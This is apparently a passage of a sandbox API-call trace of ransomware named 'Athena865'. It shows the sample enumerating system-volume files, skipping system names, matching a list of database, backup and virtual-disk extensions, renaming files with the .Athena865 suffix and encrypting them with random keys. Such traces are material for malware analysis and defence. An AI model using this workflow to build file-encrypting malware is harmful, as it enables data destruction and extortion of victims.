lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xea493d40, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xea493d40, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xea493d40, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", cAlternateFileName="{1CE95~1")) returned 1 [0099.667] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.667] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.668] lstrlenW (lpString="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp") returned 57 [0099.668] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp" | out: lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp") returned="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp" [0099.668] lstrlenW (lpString="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp") returned 57 [0099.668] lstrlenW (lpString="Athena865") returned 9 [0099.668] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.668] lstrlenW (lpString=".dll") returned 4 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.668] lstrlenW (lpString=".lnk") returned 4 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.668] lstrlenW (lpString=".ini") returned 4 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.668] lstrlenW (lpString=".sys") returned 4 [0099.668] lstrcmpiW (lpString1="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.668] lstrlenW (lpString="{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp") returned 57 [0099.668] lstrlenW (lpString="bak") returned 3 [0099.668] lstrcmpiW (lpString1="rop", lpString2="bak") returned 1 [0099.668] lstrlenW (lpString="ba_") returned 3 [0099.668] lstrcmpiW (lpString1="rop", lpString2="ba_") returned 1 [0099.668] lstrlenW (lpString="dbb") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="dbb") returned 1 [0099.669] lstrlenW (lpString="vmdk") returned 4 [0099.669] lstrcmpiW (lpString1="Prop", lpString2="vmdk") returned -1 [0099.669] lstrlenW (lpString="rar") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="rar") returned 1 [0099.669] lstrlenW (lpString="zip") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="zip") returned -1 [0099.669] lstrlenW (lpString="tgz") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="tgz") returned -1 [0099.669] lstrlenW (lpString="vbox") returned 4 [0099.669] lstrcmpiW (lpString1="Prop", lpString2="vbox") returned -1 [0099.669] lstrlenW (lpString="vdi") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="vdi") returned -1 [0099.669] lstrlenW (lpString="vhd") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="vhd") returned -1 [0099.669] lstrlenW (lpString="vhdx") returned 4 [0099.669] lstrcmpiW (lpString1="Prop", lpString2="vhdx") returned -1 [0099.669] lstrlenW (lpString="avhd") returned 4 [0099.669] lstrcmpiW (lpString1="Prop", lpString2="avhd") returned 1 [0099.669] lstrlenW (lpString="db") returned 2 [0099.669] lstrcmpiW (lpString1="op", lpString2="db") returned 1 [0099.669] lstrlenW (lpString="db2") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="db2") returned 1 [0099.669] lstrlenW (lpString="db3") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="db3") returned 1 [0099.669] lstrlenW (lpString="dbf") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="dbf") returned 1 [0099.669] lstrlenW (lpString="mdf") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="mdf") returned 1 [0099.669] lstrlenW (lpString="mdb") returned 3 [0099.669] lstrcmpiW (lpString1="rop", lpString2="mdb") returned 1 [0099.669] lstrlenW (lpString="sql") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="sql") returned -1 [0099.670] lstrlenW (lpString="sqlite") returned 6 [0099.670] lstrcmpiW (lpString1="otProp", lpString2="sqlite") returned -1 [0099.670] lstrlenW (lpString="sqlite3") returned 7 [0099.670] lstrcmpiW (lpString1="hotProp", lpString2="sqlite3") returned -1 [0099.670] lstrlenW (lpString="sqlitedb") returned 8 [0099.670] lstrcmpiW (lpString1="shotProp", lpString2="sqlitedb") returned -1 [0099.670] lstrlenW (lpString="xml") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="xml") returned -1 [0099.670] lstrlenW (lpString="$er") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="$er") returned 1 [0099.670] lstrlenW (lpString="4dd") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="4dd") returned 1 [0099.670] lstrlenW (lpString="4dl") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="4dl") returned 1 [0099.670] lstrlenW (lpString="^^^") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="^^^") returned 1 [0099.670] lstrlenW (lpString="abs") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="abs") returned 1 [0099.670] lstrlenW (lpString="abx") returned 3 [0099.670] lstrcmpiW (lpString1="rop", lpString2="abx") returned 1 [0099.670] lstrlenW (lpString="accdb") returned 5 [0099.670] lstrcmpiW (lpString1="tProp", lpString2="accdb") returned 1 [0099.670] lstrlenW (lpString="accdc") returned 5 [0099.670] lstrcmpiW (lpString1="tProp", lpString2="accdc") returned 1 [0099.670] lstrlenW (lpString="accde") returned 5 [0099.670] lstrcmpiW (lpString1="tProp", lpString2="accde") returned 1 [0099.670] lstrlenW (lpString="accdr") returned 5 [0099.671] lstrcmpiW (lpString1="tProp", lpString2="accdr") returned 1 [0099.671] lstrlenW (lpString="accdt") returned 5 [0099.671] lstrcmpiW (lpString1="tProp", lpString2="accdt") returned 1 [0099.671] lstrlenW (lpString="accdw") returned 5 [0099.671] lstrcmpiW (lpString1="tProp", lpString2="accdw") returned 1 [0099.671] lstrlenW (lpString="accft") returned 5 [0099.671] lstrcmpiW (lpString1="tProp", lpString2="accft") returned 1 [0099.671] lstrlenW (lpString="adb") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.671] lstrlenW (lpString="adb") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.671] lstrlenW (lpString="ade") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="ade") returned 1 [0099.671] lstrlenW (lpString="adf") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="adf") returned 1 [0099.671] lstrlenW (lpString="adn") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="adn") returned 1 [0099.671] lstrlenW (lpString="adp") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="adp") returned 1 [0099.671] lstrlenW (lpString="alf") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="alf") returned 1 [0099.671] lstrlenW (lpString="ask") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="ask") returned 1 [0099.671] lstrlenW (lpString="btr") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="btr") returned 1 [0099.671] lstrlenW (lpString="cat") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="cat") returned 1 [0099.671] lstrlenW (lpString="cdb") returned 3 [0099.671] lstrcmpiW (lpString1="rop", lpString2="cdb") returned 1 [0099.671] lstrlenW (lpString="ckp") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="ckp") returned 1 [0099.672] lstrlenW (lpString="cma") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="cma") returned 1 [0099.672] lstrlenW (lpString="cpd") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="cpd") returned 1 [0099.672] lstrlenW (lpString="dacpac") returned 6 [0099.672] lstrcmpiW (lpString1="otProp", lpString2="dacpac") returned 1 [0099.672] lstrlenW (lpString="dad") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dad") returned 1 [0099.672] lstrlenW (lpString="dadiagrams") returned 10 [0099.672] lstrcmpiW (lpString1="apshotProp", lpString2="dadiagrams") returned -1 [0099.672] lstrlenW (lpString="daschema") returned 8 [0099.672] lstrcmpiW (lpString1="shotProp", lpString2="daschema") returned 1 [0099.672] lstrlenW (lpString="db-journal") returned 10 [0099.672] lstrcmpiW (lpString1="apshotProp", lpString2="db-journal") returned -1 [0099.672] lstrlenW (lpString="db-shm") returned 6 [0099.672] lstrcmpiW (lpString1="otProp", lpString2="db-shm") returned 1 [0099.672] lstrlenW (lpString="db-wal") returned 6 [0099.672] lstrcmpiW (lpString1="otProp", lpString2="db-wal") returned 1 [0099.672] lstrlenW (lpString="dbc") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dbc") returned 1 [0099.672] lstrlenW (lpString="dbs") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dbs") returned 1 [0099.672] lstrlenW (lpString="dbt") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dbt") returned 1 [0099.672] lstrlenW (lpString="dbv") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dbv") returned 1 [0099.672] lstrlenW (lpString="dbx") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dbx") returned 1 [0099.672] lstrlenW (lpString="dcb") returned 3 [0099.672] lstrcmpiW (lpString1="rop", lpString2="dcb") returned 1 [0099.673] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp.Athena865") returned 120 [0099.673] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.674] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{1ce95dd8-c40b-44fd-a9e6-d72d44ed8f39}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.674] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2288) returned 1 [0099.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.674] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.675] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.675] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.675] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf0, lpName=0x0) returned 0x154 [0099.677] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf0) returned 0x100000 [0099.678] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.678] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.678] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.679] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.679] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.679] CloseHandle (hObject=0x154) returned 1 [0099.679] CloseHandle (hObject=0x17c) returned 1 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.680] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf5658180, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf5658180, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf5658180, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", cAlternateFileName="{1E942~1")) returned 1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.680] lstrlenW (lpString="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp") returned 57 [0099.680] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp" | out: lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp") returned="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp" [0099.680] lstrlenW (lpString="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp") returned 57 [0099.680] lstrlenW (lpString="Athena865") returned 9 [0099.680] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.680] lstrlenW (lpString=".dll") returned 4 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.680] lstrlenW (lpString=".lnk") returned 4 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.680] lstrlenW (lpString=".ini") returned 4 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.680] lstrlenW (lpString=".sys") returned 4 [0099.680] lstrcmpiW (lpString1="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.680] lstrlenW (lpString="{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp") returned 57 [0099.681] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp.Athena865") returned 120 [0099.681] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.681] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.682] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3440) returned 1 [0099.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.682] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.683] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.683] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.683] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1070, lpName=0x0) returned 0x154 [0099.684] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1070) returned 0x100000 [0099.686] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.687] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.687] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.688] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.688] CloseHandle (hObject=0x154) returned 1 [0099.688] CloseHandle (hObject=0x17c) returned 1 [0099.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.688] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xe40a4a50, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe40a4a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe40a4a50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", cAlternateFileName="{29088~1")) returned 1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.688] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.689] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.689] lstrcmpiW (lpString1="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.689] lstrlenW (lpString="{29088c66-de5f-456f-85c0-6e4156f94358}_OnDiskSnapshotProp") returned 57 